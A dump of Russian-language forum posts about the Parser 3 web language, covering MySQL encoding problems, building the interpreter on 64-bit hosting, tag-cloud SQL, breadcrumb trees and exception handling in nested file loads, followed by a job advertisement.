"75887","Перенес сайты на другой сервер. Кодировка БД в случае INSERT и UPDATE поменялась.\
\
MySQL\
Файлы в windows-1251. БД в 1251.\
В строке подключения к БД ?charset=cp1251\
при просмотре сайта все отлично.\
\
В базу добавляются записи, где видны одни \"??????????\".\
Не пойму почему работает не правильно."
"75888","[quote]\
Кодировка БД в случае INSERT и UPDATE поменялась.\
[/quote]\
\
это как? что-то я не помню, чтобы у MySQL была возможность задать кодировку отдельно для INSERT/UPDATE.\
\
расскажите, что конкретно у вас в настройках кодировок mysql (выполните команду \"SHOW VARIABLES WHERE Variable_name LIKE \"c%\"\", [b]подключившись клиентом, который не делает никаких \"SET CHARACTER SET xyz\" & Co[/b]). кстати, можете попробовать начать диагностику с [url=/download/utils/]_test.html[/url]).\
также не забудьте добавить, какая кодировка у вас задана для таблиц (например выполнив команду \"SHOW CREATE TABLE таблица\"). полагаю, что именно в этом проблема.\
\
[quote]\
Файлы в windows-1251. БД в 1251.\
В строке подключения к БД ?charset=cp1251\
[/quote]\
вы забыли рассказать, что у вас в $request:charset. полагаю, что \"windows-1251\", но будет лучше, если вы это перепроверите.\
\
кроме того, вы забыли сообщить, попробовали-ли ли вы локализовать проблему, сделав простенький тестовый, который и содержит в себе определение строки соединения и делает update с select и выводит данные.\
также будет здорово, если этот скрипт сначала будет создавать тестовую таблицу."
"75889","$request:charset - да windows-1251/\
_test.html - пробовал. Вот что пишет\
[code]SQL преобразование строки с русским алфавитом к верхнему регистру:\
Преобразование было произведено не корректно. \
Результат: '?????????????????????????????????' (должно быть: 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ').\
\
Проверка значений переменных SQL сервера CHARACTER_SET/CHARACTER_SET_CLIENT:\
Значение переменой CHARACTER_SET_CLIENT совпадает со значением $request:charset, следовательно в настоящий момент кодировки настроены верно.[/code]\
Вот что дает SHOW VARIABLES WHERE Variable_name LIKE \"c%\"\
[code]Variable_name	Value\
character_set_client	cp1251\
character_set_connection	latin1\
character_set_database	latin1\
character_set_filesystem	binary\
character_set_results	cp1251\
character_set_server	cp1251\
character_set_system	utf8\
character_sets_dir	/usr/share/mysql/charsets/\
collation_connection	latin1_swedish_ci\
collation_database	latin1_swedish_ci\
collation_server	cp1251_general_ci\
completion_type	0\
concurrent_insert	1\
connect_timeout	10[/code]\
Вот что SHOW CREATE TABLE таблица\
[code]CREATE TABLE `news` (\
	`id` int(11) NOT NULL AUTO_INCREMENT,\
	`name` varchar(255) NOT NULL DEFAULT '',\
	`descr` text NOT NULL, `news` text NOT NULL,\
	PRIMARY KEY (`id`)\
) ENGINE=MyISAM AUTO_INCREMENT=33555374 DEFAULT CHARSET=cp1251[/code]"
"75890","Спасибо. Очень помогло!!!\
Пересоздал БД как utf8_general_ci\
Поменял в MySQL Кодировку по умолчанию на UTF8.\
Все стало нормально работать.\
\
Премного благодарен!"
"75891","Хостинг timeweb. Сервер Linux 2.6 x86_64\
Parser работает (судя по _test.html).\
\
Локальный libmysqlclient.so выдает ошибку:\
[code]driver failed to initialize client library 'libmysqlclient.so', /usr/lib/libmysqlclient.so: wrong ELF class: ELFCLASS64[/code]\
\
Копирую свой libmysqlclient.so, выдает ошибку:\
[code]Can't connect to local MySQL server through socket '/var/lib/mysql/mysql.sock' (13)[/code]\
\
Подскажите, в какую сторону двигаться?"
"75896","... Или посмотрите в логе веб-сервера причину 500 ошибки."
"75900","... но как вариант поставить 32-битную версию, узнать у хостера путь к сокету и задать его в строке подключения - в документации описано как это сделать."
"75901","По поводу подключения к сокету хостер мне ответил:\
[quote]Подключайтесь не к сокету, а по адресу сервера, в Ваше случае localhost.[/quote]"
"75902","Если для стандартной libmysqlclient указать в качестве адреса сервера localhost, то подключение все равно пойдет через сокет, что и подтверждается сообщением «вашей» библиотеки. И тут либо хостер не в курсе этого, либо у них более сложная конфигурация хостинга (какой-нибудь прокси, нестандартная либа и т.п.).\
\
В этой ситуации лучше всего собрать Парсер и драйвер прямо на сервере из исходников — скорее всего это сразу снимет все проблемы. Но для этого нужен ssh-доступ и минимальные навыки работы с консолью юникса (что просто необходимо знать любому веб-разработчику).\
\
Но можно попробовать указать вместо localhost адрес 127.0.0.1, что должно указать библиотеке, что надо использовать tcp-соединение с сервером."
"75903","Если я правильно понял:\
\
[quote]/usr/lib/gcc/x86_64-pc-linux-gnu/4.1.2/libstdc++.so.6: version `GLIBCXX_3.4.9' not found (required by ./parser3.cgi)[/quote]"
"75904","[quote]как выводить результат по каждому ключевому слову[/quote]\
\
Это 1-2 запроса и вывод результата.\
Структура таблиц очевидна и изображена в приведённой мной статье.\
\
В чём сложность?\
Что сделали вы и где возникли затруднения?"
"75905","Использование вместо localhost 127.0.0.1 выдает ошибку:\
[code]Access denied for user 'alcon_mobi'@'127.0.0.1' (using password: YES)[/code]"
"75907","Sumo, спасибо, помогло, однако, все равно кодировка не работает( \
\
[code]\
@USE\
pfCFile.p\
@p_PAGE[]\
<html>\
<body>\
   ^if(def $form:gpg){ \
   ^form:files.gpg.foreach[sNum;fValue]{ \
   $b64[^fValue.base64[]]\
\
   $res[^pfCFile:load[text;https://site.ru:8801/?action=2;\
   $.proxy-host[10.1.1.10]\
   $.proxy-port[3128]\
   $.enctype[multipart/form-data] \
   $.method[post]\
   $.ssl_verifypeer(0)    \
   $.ssl_verifyhost(0)\
   $.form[$.xml[$b64]]\
  ]]\
\
   }[, ] \
}\
\
$res.text\
</body>\
</html>\
\
[/code]"
"75908","Решился собрать парсер. Сам парсер собрал, а вот mysql драйвер никак:\
[code]make[1]: Entering directory `/home/a/alcon/parser_compile/parser3mysql/libltdl'\
make[2]: Entering directory `/home/a/alcon/parser_compile/parser3mysql/libltdl'\
/bin/sh ./../mkinstalldirs /usr/local/lib\
/bin/sh ./../mkinstalldirs /usr/local/include\
mkdir -p -- /usr/local/include\
mkdir: cannot create directory `/usr/local/include': Permission denied\
make[2]: *** [install-includeHEADERS] Error 1\
make[2]: Leaving directory `/home/a/alcon/parser_compile/parser3mysql/libltdl'\
make[1]: *** [install-am] Error 2\
make[1]: Leaving directory `/home/a/alcon/parser_compile/parser3mysql/libltdl'\
make: *** [install-recursive] Error 1[/code]\
Подскажите, или ткните носом :)"
"75909","Судя по всему, в .libs уже лежит требуемая libparser3mysql.so. А что install не проходит, так не надо make install говорить. :)"
"75910","Можно посмотреть так (если он конечно в /var/)\
\
strings <путь к библиотеке mysql хостера>libmysqlclient.so |grep \"/var/\"\
\
ну или \
\
strings <путь к библиотеке mysql хостера>libmysqlclient.so |grep \"sock\",\
\
но в таком вариантов несколько лишних строк будет."
"75911","А можно еще результат ldd ./parser3.cgi и uname -a? Вообще ошибка выглядит странно, как-будто у хостера библиотека libstdc++.so.6 несовместима с установленной у него же glibc."
"75912","Note: Есть особенность сборки на 64-х битных платформах - и парсер, и библиотеку sql надо собирать --with-dynamic-stdcpp. В первом случае это откомментировать строку в buildall-with-xml, во втором передать параметром в configure."
"75914","А может, добавить в форматные строки разбивку по разрядам?\
Не хочется свой метод гонять на выводе длинной таблицы."
"75915","у использующихся для форматирования чисел сишной функции snprintf нет такой функциональности:\
[URL=http://msdn.microsoft.com/en-us/library/56e442dc(v=vs.71).aspx]http://msdn.microsoft.com/en-us/library/56e442dc(v=vs.71).aspx[/URL]"
"75916","У нас такое было, это вопросы у хостера. Что то с правами вашего пользователя, ему не дают динамически подключить вашу библиотеку\
\
P.S. может и не совсем технически сказал, но суть такова. Долюайте хостера"
"75917","Как через curl можно получить все заголовки результата. $file.tables же отсутствует. Получить одну куку (последнюю можно) через $file.[SET-COOKIE]"
"75918","При разборе заголовков класс curl, записывает их в хеш, что исключает повторы. Предполагалось, что класс curl будет использоваться по большей части для работы с веб-сервисами, а они, как правило, не требуют сложной работы с заголовками, куками и пр.\
\
Возможно имеет смысл это исправить в следующей версии Парсера."
"75919","Про повторы - понял. Но было бы здорово, если бы file:load и curl:load результаты были полностью идентичны."
"75920","Тема такая:\
- Есть файлик на подгрузку в базу, имена полей подписаны для загрузки через ^table::load, файл подгружется хорошо, могу табличку ^portion.menu перебрать и распечатать, всё хорошо и читабельно.\
- перебираю таблицу, беру первый столбец и ищу код в базе,(код использую дальше, не само значение столбца)\
[code]\
		$subj[^table::sql{\
		select id,name  \
		from subject\
		where subject.name = '$portion.subject'\
[/code] \
\
Вот тут и затык  - никогда не нахожу. \
Само $portion.subject равно просто, по-русски 'Санкт-Петербург'\
Если в условие ставлю \
[code]subject.code = сам_код_спб[/code]\
то всё ок.\
\
Может тут taint/untaint на поля таблицы нужны? (про них читал и активно использую давно, вопросов не было)\
Пробовал, не получается."
"75921","В какой кодировке файл с таблицей, файл с кодом, подключение к БД?"
"75922","Когда-то изучал парсер и регулярные выражения. Но вот сейчас столкнулся с тем, что надо сделать одну штуку, а времени нет совершенно. Может быть найдется кто помочь.\
\
Нужно чтобы из такой вот строки\
\
[code][caption id=\"attachment_631\" align=\"alignnone\" width=\"640\" caption=\"Cool Autumn in Tallin\"]<a href=\"http://blog.sergeymatisen.com/wp-content/uploads/2011/10/IMG_0025.jpg\"><img class=\"size-full wp-image-631\" title=\"IMG_0025\" src=\"http://blog.sergeymatisen.com/wp-content/uploads/2011/10/IMG_0025.jpg\" alt=\"\" width=\"640\" height=\"640\" /></a>[/caption][/code]\
\
Получалась бы вот такая строка\
[code]<div id=\"attachment_631\" class=\"wp-caption alignnone\" style=\"width: 650px\"><a href=\"http://blog.sergeymatisen.com/wp-content/uploads/2011/10/IMG_0025.jpg\"><img class=\"size-full wp-image-631\" title=\"IMG_0025\" src=\"http://blog.sergeymatisen.com/wp-content/uploads/2011/10/IMG_0025.jpg\" alt=\"\" width=\"640\" height=\"640\" /></a><p class=\"wp-caption-text\">Cool Autumn in Tallin</p></div>[/code]\
\
Я честно посмотрел примеры, даже прочитал помощь. Возможно, найдутся энтузиасты, для которых задача будет вызовом. А штук эта ни что иное как трансляция из стендалон блога на вордпрессе на блог, написанный на парсере. Берет только те посты, которые содержать caption. Вот такая вот штука."
"75923","1) Файл с данными - в UTF8\
\
2) Табица - в UTF8\
\
[code]\
CREATE TABLE `subject` (\
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\
  `name` varchar(256) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',\
  PRIMARY KEY (`name`),\
  KEY `id` (`id`)\
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci\
[/code]\
\
3) Файл кода - UTF8\
\
4) Подключение к базе - с ключом ?charset=utf8\
\
В конфигах вообще закомментированны строки про charset, и даже папки с таблицами кодировок отсутствуют. \
\
Если проверяю по условию не\
[code]\
where subject.name = '$portion_subject'\
[/code]\
а например\
[code]\
where id = 1\
[/code]\
\
то код в menu\
[code]	^if($subj.name eq $portion.subject){\
	ДА!<br>\
	}\
[/code]\
радостно \"дакает\"."
"75924","попробуйте убрать \"птичку\" у ^table::sql и посмотреть, что за запрос получается на самом деле."
"75925","Это переменная для издевательств с taint просочилась."
"75926","table::sql{ select id,name from subject where subject.name = 'Санкт-Петербург' }"
"75927","по шагам писал строчки через .save, смотрел файлики...\
Из файла - Санкт-Петербург, из базы - ?????-?????????.\
\
Написал повсюду в my.cf\
[code]\
character-set-server=utf8	\
default-character-set=utf8\
[/code]\
Убрал ?charset=utf8 в коннекте \
и всё заработало...\
\
p.s. А на другом сервере всё работает без этого...\
Спасибо!"
"75928","У Вас в базе случайно написано не \"санкт-петербург\"?\
Попробуйте Like как вариант преберать по буквам может e это не е а e(у) :) или что ещё"
"75929","Какой я молодец. Вспомнил, как пользоваться сплитом. Всем спасибо, все довольны."
"75930","Вот код:\
[code]\
$tab[^table::create{number\
один\
два\
три\
четыре\
}]\
\
Вариант 1<br>\
^tab.menu{\
	$str[${str}${tab.number}]\
}{$str[${str},]}\
\
$str<br>\
\
Вариант 2<br>\
^tab.menu{\
	${tab.number}\
}{,}\
[/code]\
\
Результат разный:\
Вариант 1\
одиндва,три,четыре,\
Вариант 2\
один , два , три , четыре\
\
Не могу понять, почему в первом случае нет ',' между словами 'один' и 'два'\
\
Дока:\
[quote]\
Разделитель - код, который вставляется перед каждым непустым не первым телом. Разделитель в квадратных скобках вычисляется один раз, в фигурных - много раз по ходу вызова.\
\
Примечание: если разделитель задан в виде кода, то этот код выполняется после следующего не пустого тела цикла.[/quote]\
\
Но ведь после 'один' ведь непустой цикл, правда?\
Подскажите, как правильно составить переменную с разделителями.\
(вариант \"вставить запятую после каждого присваивания а потом ^str.trim[right;,] после цикла\" я знаю, но не нравится он мне...)"
"75933","Здравствуйте коллеги, подскажите пожалуйста\
\
Если в теле POST-запроса была кириллица, допустим \
\
...&param=всем привет&...\
\
то при выводе куда-либо в $form:param будет \"всем привет\", а в post-body - \
\
...&param=%D0%B2%D1%81%D0%B5%D0%BC+%D0%BF%D1%80%D0%B8%D0%B2%D0%B5%D1%82&...\
\
т.е. в одном случае запрос автоматически декодируется а в другом нет.\
\
1. Почему такое разное поведение?\
2. Как получить декодированное тело POST без применения ^table.replace[] и других странных решений?"
"75934","Он нужен для работы с файлами.\
\
Что мешает использовать обращение к полям формы?"
"75935","Мне нужно хранить исходный текст запроса, и сверять его содержимое с тем, что формируется в результате работы скрипта (который работает через $form:). Т.е. мне нужно испльзовать и то и то. Это не обработчик браузерной формы - это веб-сервис (SOAP)"
"75936","... request:body (для soap надо использовать именно body, а не post-body) нужен для того, чтобы получить сырой (raw) запрос, который может быть сформирован абсолютно по иным принципам, чем параметры для http-post. \
\
Т.е. в вашем случае там содержится тело soap-запроса, который надо разбирать через xdoc. Не совсем удобно, конечно (шлем лучи ненависти тем, кто в вебе использует soap вместо rest), но если не стоит задача сделать универсальный soap-сервер, то реализация тривиальна."
"75937","А таблица с тегами (tags):\
\
1) id – первичный ключ;\
2) tag – имя тега.\
\
Таблица пересечений posts_tags\
1) id – первичный ключ;\
2) postid – внешний ключ (связывает запись с таблицей posts);\
3) tagid – внешний ключ (связывает запись с таблицей tags).\
\
также существует таблица с товарами lot\
Формируем XML документ.\
[code]@tag[]\
$select_tags[^oSql.table{SELECT tags.tag_id, tags.tag, posts_tags.id_int, COUNT(posts_tags.lotid) AS posts_count, posts_tags.tagid \
			FROM posts_tags LEFT JOIN tags ON posts_tags.tagid=tags.tag_id GROUP BY tags.tag_id }] \
^if(!def $select_tags){\
<h2>Нет ключевых слов!</h2>\
}{\
#выводим информацию о лоте с помощью XML\
$sourceDoc[\
       ^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\" ?>\
<cloud>\
^select_tags.menu{\
	\
    <row id=\"$select_tags.id_int\">\
        <name>$select_tags.tag</name>\
	<tag_id>$select_tags.tag_id</tag_id>\
        <weight>$select_tags.posts_count</weight>\
    </row>\
}   \
</cloud>\
	\
		}]\
#входной xdoc документ\
		$transformedDoc[^sourceDoc.transform[/xml/tag.xsl]]\
#выдача результата в HTML виде\
		\
		^transformedDoc.string[$.method[html]]\
}\
\
#end @tag[]\
\
\
#Показываем выборку по выбранному ключевому слову.\
@list_tag[]\
$list_tag[^oSql.table{SELECT lot_id, lot_title, nm_lot, dt, lot_txt, lot.id_region, region.region_id, region.region FROM lot, region \
	WHERE lot_id IN (SELECT lotid FROM  posts_tags WHERE tagid = $form:id_tag) AND region.region_id = lot.id_region}]\
\
<ul class=\"item-table\">\
<div class=\"select_lot\">\
<div class=\"br\"></div>\
^list_tag.menu{\
<li>\
<div class=\"date\">$list_tag.dt</div>\
<div class=\"title\"><a href=\"/catalog/id_lot.html?id_lot=$list_tag.lot_id\" class=\"title_lot\">$list_tag.nm_lot</a></div>\
<div class=\"date\">$list_tag.region</div>\
</li>\
<div class=\"br\"></div>\
}\
</div>\
\
<div class=\"br\"></div>\
\
#end list_tag[][/code]"
"75938","Обрабатываем XML создаём файл tag.xsl.\
[code]<?xml version=\"1.0\" encoding=\"utf-8\" ?>\
<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" version=\"1.0\">\
  <xsl:template match=\"/\">\
    <html>\
      <body>\
        <xsl:apply-templates />\
      </body>\
    </html>\
  </xsl:template>\
\
  <xsl:template match=\"cloud\">\
    <xsl:variable name=\"maxfont\">20</xsl:variable>\
    <xsl:variable name=\"minfont\">8</xsl:variable>\
\
    <xsl:variable name=\"theMax\" select=\"row[not(weight &lt; ../row/weight)]/weight\" />\
    <xsl:variable name=\"theMin\" select=\"row[not(weight &gt; ../row/weight)]/weight\" />\
\
      <div>\
        <xsl:apply-templates select=\"row\">\
          <xsl:with-param name=\"minfont\" select=\"$minfont\"/>\
          <!-- <xsl:with-param name=\"pixInWeight\" select=\"($maxfont - $minfont) div ($theMax - $theMin)\"> -->\
          <xsl:with-param name=\"pixInWeight\">\
            <xsl:choose>\
              <xsl:when test=\"($theMax - $theMin)=0\">0</xsl:when>\
              <xsl:otherwise>\
                <xsl:value-of select=\"($maxfont - $minfont) div ($theMax - $theMin)\"/>\
              </xsl:otherwise>\
            </xsl:choose>\
          </xsl:with-param>\
        </xsl:apply-templates>\
      </div>\
    </xsl:template>\
\
  <xsl:template match=\"row\">\
    <xsl:param name=\"minfont\"/>\
    <xsl:param name=\"pixInWeight\"/>\
\
    <xsl:variable name=\"size\" select=\"$minfont + floor(weight*$pixInWeight)\"/>\
    <a href=\"/catalog/index.html?id_tag={tag_id}\" style=\"font-size: {$size}px\">\
      <xsl:value-of select=\"name\" />\
    </a>\
    <xsl:if test=\"position() != last()\">\
      <xsl:text> </xsl:text>\
    </xsl:if>\
  </xsl:template>\
</xsl:stylesheet>[/code]"
"75939","Если оставить всё как есть то все слова из таблицы будут выводиться, хотелось бы ограничить их количество для отображения.\
Для этого надо выбрать 40  ключевых слов которые максимально упоминаются в объявлениях.\
Вот думаю как это реализовать в SQL или XSL или parser.\
Нужно выбрать 40 записей у которых $select_tags.posts_count максимально... Как это сделать?"
"75940","COUNT(*) и GROUP BY tagid по таблице posts_tags.\
\
Ещё лучше хранить посчитанное количество записей на тэг и не вычислять каждый раз.\
\
Купите какую-нибудь книжку по MySQL или почитайте примеров, это же азы."
"75941","Как использовать COUNT и GROUP BY я знаю...\
В таблице posts_tags  пересечений указаны ведь только какое слово какому лоту соответствует, если я подсчитаю количество строк, оно не будет соответствовать количеству слов.  Надо считать слова в таблице tags и сортировать по количеству совпадений с полем tags.tag_id встречающихся в таблице posts_tags в поле posts_tags.tagid...\
Нужно ограничить результат вот этого запроса:\
[code]SELECT tags.tag_id, tags.tag, posts_tags.id_int, COUNT(posts_tags.lotid) AS posts_count, posts_tags.tagid\
			FROM posts_tags LEFT JOIN tags ON posts_tags.tagid=tags.tag_id GROUP BY tags.tag_id[/code]\
и надо отсортировать результат запроса по убыванию...\
\
У меня вопрос я результаты вывожу вот так \
[code]^select_tags.menu{\
....\
}[/code]\
Я подсчитаю количество строк в таб. tags\
как ограничить перебор всех строк menu или можно только в запросе использовать LIMIT?\
Ограничить ограничил, а как теперь максимально  часто встречающиеся выводить, сортировка по posts_tags.tagid не спасла?\
\
Спасибо."
"75942","[code]SELECT\
	tags.tagid,\
	tags.tag,\
	COUNT(posts_tags.postid) AS posts_count\
FROM\
	tags,\
	posts_tags\
WHERE\
	tags.tagid = posts_tags.tagid\
GROUP BY tags.tagid\
ORDER BY posts_count DESC\
LIMIT 40[/code]"
"75944","может это из-за форматирования? :)\
\
P.S. лично я даже не пытался прочитать написанные вами запросы, т.к. не было никакого желания \"ломать глаза\"."
"75945","Eugene Spearance, меня более чем возмутил ваш ответ. Если вы ничего полезного не можете предложить - сидите и молчите в тряпочку!!! Откуда нам знать, как там все предусмотрели разработчики?! У меня похожая с Dimon ситуация - делаю, все как в уроке, но ничего не работает! И долго я еще должна догадываться, как там все должно быть, не я же создавала язык. Если б были исходники, это сильно бы упростило жизнь новичкам..."
"75946","Т.е. либо xdoc либо table.replace?"
"75947","Вот [url=\"http://parser.ru/download/src/\"]исходники[/url] во всей красе в открытом доступе."
"75948","как вам уже сообщили, post-body выдаётся в сыром виде. ему соответствует content-length.\
вы можете передать их \"as-is\" каким-нить внешним скриптам.\
\
для работы из parser предназначены $form.\
если вы работаете с SOAP -- то вам всё равно придётся ковыряться в xml, т.е. без xdoc никуда. или вы хотели match-ем обойтись? :)\
\
правда xdoc вам в декодировании подобного содержимого кажется тоже не поможет..."
"75950","Доброго всем!\
\
пробовал код из примеров хлебные крошки.. оно работает.. но как в обратной последовательности вывести не догоняю\
\
могу только пример как через опу сделал привести..\
как это сделать правильно ?\
\
[code]$adr[^table::sql{select Id, par_id, name from cg_adr where Id='$form:par'}]\
\
\
^adr.menu{\
$adr.name\
	$adr_1[^table::sql{select Id, par_id, name from cg_adr where Id='$adr.par_id'}]\
	^adr_1.menu{\
$adr_1.name\
		$adr_2[^table::sql{select Id, par_id, name from cg_adr where Id='$adr_1.par_id'}]\
		^adr_2.menu{\
$adr_2.name\
			$adr_3[^table::sql{select Id, par_id, name from cg_adr where Id='$adr_2.par_id'}]\
			^adr_3.menu{\
$adr_3.name\
				$adr_4[^table::sql{select Id, par_id, name from cg_adr where Id='$adr_3.par_id'}]\
				^adr_4.menu{				\
$adr_4.name\
					$adr_5[^table::sql{select Id, par_id, name from cg_adr where Id='$adr_4.par_id'}]\
					^adr_5.menu{\
$adr_5.name\
						$adr_6[^table::sql{select Id, par_id, name from cg_adr where Id='$adr_5.par_id'}]\
						^adr_6.menu{\
$adr_6.name\
							$adr_7[^table::sql{select Id, par_id, name from cg_adr where Id='$adr_6.par_id'}]\
							^adr_7.menu{\
$adr_7.name\
				}}}}}}}}[/code]\
\
Да и еще в моем примере он выводит с конца..\
а должен с начала.. \
т.е. надо сделать так. это как вывести карту сайта от конечного раздела в корень"
"75951","Есть проверка на возможность загрузки файла с удаленного сервера:\
[code]запись $sScript в лог\
^try{\
	$fFile[^file::load[binary;^taint[as-is][$sScript];\
		$.timeout(60)\
		$.any-status(true)\
		$.method[POST]\
	]]\
}{\
	$exception.handled(true)\
	...\
}[/code]\
В итоге иногда в parser3.log появляются записи об ошибках загрузки файла с удаленного сервера.\
При этом записи есть в логе из кода выше, иногда с совпадением до секунды.\
\
Откуда в parser3.log могут появляться ошибки, если загрузка обернута в try?"
"75952","Покажите ошибки из parser.log\
Какая версия парсера?\
Что в коде идёт после $exception.handled(true)? Может падать в том месте."
"75953","[Wed Nov  2 14:59:04 2011] [10968] URL?PARAMS: URL(136:31): 'load' timeout occured while retrieving document [http.timeout] [uri=URL?PARAMS, method=POST, cl=0]\
\
Parser/3.4.1 (compiled on x86_64-unknown-linux-gnu)\
\
После $exception.handled(true) всего один запрос:\
[code]^void:sql{UPDATE ... SET `...`='^taint[sql][$exception.comment]' WHERE ...^;}[/code]\
В логе ошибок нет ошибок по данному запросу."
"75954","Очень странно. Похоже на баг.\
\
Случайно, в $exception.handled(true) кириллическая буква не попала?"
"75955","Проверил у себя: перехват ошибки отрабатывает нормально при load (http.timeout).\
\
Попробуйте вынести этот кусок кода в отдельный файл, и запустить его из консоли, чтобы локализовать баг.\
\
Парсер скачен с сайта или собирался руками?"
"75956","Парсер с сайта.\
\
Убрал строки на всякий случай:\
$.any-status(true)\
$.method[POST]\
\
Сделал 2 логгирования: перед try и после $exception.handled(true).\
\
Дождался ошибки во втором логе, получается такая картина:\
1. 2011-11-02 17:54:05 - запись в лог перед try.\
2. 2011-11-02 17:54:05 - запись в лог после $exception.handled(true).\
3. 2011-11-02 17:54:06 - запись ошибки в parser3.log\
\
Получается, try отработал, но почему-то ошибка попала в лог ошибок парсера."
"75957","URL(136:31) - там не URL, а имя проблемного файла, а также строка и колонка с ошибкой. Возможно проблема таки возникает не в том месте, где у вас try стоит?"
"75958","Я вписал вместо имени файла URL.\
\
Проблема, видимо, именно в месте с try, т.к. при возникновении ошибки запись появляется в трех логах сразу (http://www.parser.ru/forum/?id=75956).\
\
Ситуация такая: в try идет загрузка страницы, которая внутри себя делает еще кучу загрузок.\
Эта страница при возникновении ошибки загрузки внутри себя пишется в лог парсера.\
\
Обязательно писать try внутри загружаемой страницы на каждую загрузку, чтобы она не попала в лог парсера?"
"75959","Вы в file::load дергаете другой html, также обрабатываемый парсером? тем же самым? как вы определяете какой из двух (у вас их судя по описанию даже больше) процессов парсера генерит ошибку? Во \"вложенных\" скриптах тоже всё обернуто в try?\
\
Пока не очень понятно что у вас в каком порядке работает. Выделите минимальный код генерирующий ошибку и приведите этот код с внятным описанием тут."
"75960","указав:\
— структуру данных в базе;\
— что необходимо показать;\
— как необходимо показать.\
\
Пока в наличии только волосы дыбом от приведённого кода."
"75961","[code]^try{\
	$fFile[^file::load[binary;FILE_1;\
		$.timeout(60)\
	]]\
}{\
	$exception.handled(true)\
	...\
}[/code]\
\
FILE_1:\
[code]	$fFile[^file::load[binary;...;\
		$.timeout(60)\
	]]\
	$fFile[^file::load[binary;...;\
		$.timeout(60)\
	]][/code]\
\
Парсер на сайте один, все проходит через него.\
Ошибка пишется в лог парсера, когда ломается загрузка внутри FILE_1.\
\
Видимо, такие ошибки все равно будут писаться в лог парсера, т.к. они возникают в другом файле вне try.\
Я думал, что ошибка в другом файле, вызвав ошибку в загружаемом, будет обработана и не попадет в лог."
"75962","Вызов file::load, в вашем случае, запускает _новый_ процесс Парсера, а эксепшны просто так между разными процессами не передаются. \
\
Оберните загрузку в FILE_1 в try и не будет записей в логе, но может сломаться логика работы вашей программы. Дело в том, что при возникновении необработанного эксепшна, FILE_1 возвращает http-статус 500, который вызывает в основной программе эксепшн http.status. Именно этот эксепшн и ловит ваш try. В данном случае имеет смысл в FILE_1 сделать обработку таким образом:\
[code]\
^try{\
	$fFile[^file::load[binary;...;\
		$.timeout(60)\
	]]\
	$fFile[^file::load[binary;...;\
		$.timeout(60)\
	]]\
}{\
  $exception.handled(true)\
  $response:status(500)\
}\
[/code]\
Это позволит в головной программе понять не произошло ли ошибок в FILE_1."
"75963","Уже понял, всем спасибо за ответы."
"75964","да. вы правы.\
\
 вот структура\
\
[code]Id	par_id	Name\
1	0	Машины\
2	1	Лексу\
3	1	Инфинити\
4	2	IS250\
5	2	GS300\
6	0	Мото\
7	6	Хонда\
8	7	CBR600\
9	0	ВАЗ[/code]\
\
Как вытащить структуру от конца в начало..\
\
известен ID=4\
т.е. запрос должен венруть\
\
Машины\\Лексус\\IS250"
"75965","... есть только один вариант: вытащить всю таблицу и пройти по par_id.\
\
[code]\
  $tree[^hash::sql{select id, par_id, name from cg_adr}]\
  $path[^hash::create[]]\
  $cur_id[4]\
  ^while(^tree.contains[$cur_id]){\
    $path.[^path._count[]][$cur_id]\
    $cur_id[$tree.[$cur_id].par_id]\
  }\
  ^for[i](1;$path){$tree.[^eval($path - $i)].name}[ / ]\
[/code]\
\
Но если добавить дополнительное поле с thread_id, как в [url=http://www.parser.ru/examples/trees/]примере[/url], то код сильно упростится — можно будет пройти прямо от корня без всяких глупостей, а при большой дереве мы сможем еще и вытащить его кусок одним запросом."
"75966","Интересно зачем вам понадобилась такая схема, ведь тот код, который вы \"вызываете\" через file::load можно вызвать более разумно - как функцию паресера, без таких вот как у вас танцев и без понижения производительности на пустом месте в виде http запросов."
"75967","Есть сайт для внутренней работы, есть внешние сайты, на которые раньше заходили и руками делали операции в зависимости от действий на внутреннем сайте.\
Я написал скрипты, которые автоматически делают все необходимые действия.\
\
Скриптов много, удаленные сайты периодически тупят или отваливаются.\
Чтобы не терять запуски скриптов, я пропускаю все через один метод, где при возникновении ошибки запуска какого-нибудь скрипта в базу делается запись с адресом скрипта, а потом по крону идет повторный запуск.\
\
Сайты разные, кодировки разные, кода много, поэтому все разнесено по разным файлам."
"75968","как сделать с thread_id ?\
\
по тому примеру я делал.. там вытаскивается всё дерево..\
а оно не нужно."
"75969","Путь построить придется все равно - тут я немного ошибся в предыдущем сообщении. \
\
Но thread_id поможет ограничить кусок дерева, который мы вынимаем. Либо заняться денормализацией дальше и писать в отдельное поле полный путь к узлу от корня (его надо будет пересчитывать при изменении дерева)."
"75970","то можно выбирать рекурсивно.\
Без избыточности варианта два: всё дерево или запросы для каждого уровня.\
\
Потребуется один запрос на выборку каждого уровня.\
Только не вручную, как у вас в первом сообщении.\
\
[code]\
$item_id(5)\
^crumbs($item_id)\
\
@crumbs[item_id][id;crumbs;item]\
$id(^item_id.int(0))\
$crumbs[^table::create{id	name}]\
\
^while($id){\
	$item[^table::sql{\
		SELECT id, par_id, name\
		FROM cg_adr\
		WHERE id = $id\
	}]\
	^crumbs.append{$item.id	$item.name}\
\
	$id($item.par_id)\
}\
\
^crumbs.sort(^crumbs.line[])[desc]\
\
$result[^crumbs.menu{^if($crumbs.id eq $item_id){<strong>$crumbs.name</strong>}{<a href=\"/$crumbs.id\">$crumbs.name</a>}}[ / ]]\
[/code]\
\
\
Опять же, если в дереве не десяток тысяч элементов, возможно, выбрать его целиком и иметь под рукой в нужном виде будет проще, нежели поддерживать денормализованные данные.\
Но лучше, как вам советует Sumo, добавить поле «ветви» и делать выборки для построения градусника в один запрос."
"75971","В дизайн-студию требуется веб-разработчик, владеющий Parser 3.\
\
Необходимо хорошее владение Parser3, HTML/XHTML/CSS/JS, MySQL. \
Знание PHP приветствуется.\
\
Основная задача - разрабатывать несложные сайты и сайты-визитки на базе студийной CMS.\
\
Важно: уметь проектировать БД и логику программ, легко ориентироваться в чужом коде, разбираться в дизайне интерфейсов и юзабилити. \
Для нас важен человек, который умеет найти и применить самое простое и изящное решение, ценит красоту и быстроту кода.\
\
Вы должны быть ответственны, оперативны, уметь планировать свою работу и быстро обучаться.\
\
Проекты интересные. Осваиваем новые технологии и постоянно совершенствуем свои реализации уже применённых.\
\
Работа в офисе на пр. Гагарина. Возможно совмещение.\
\
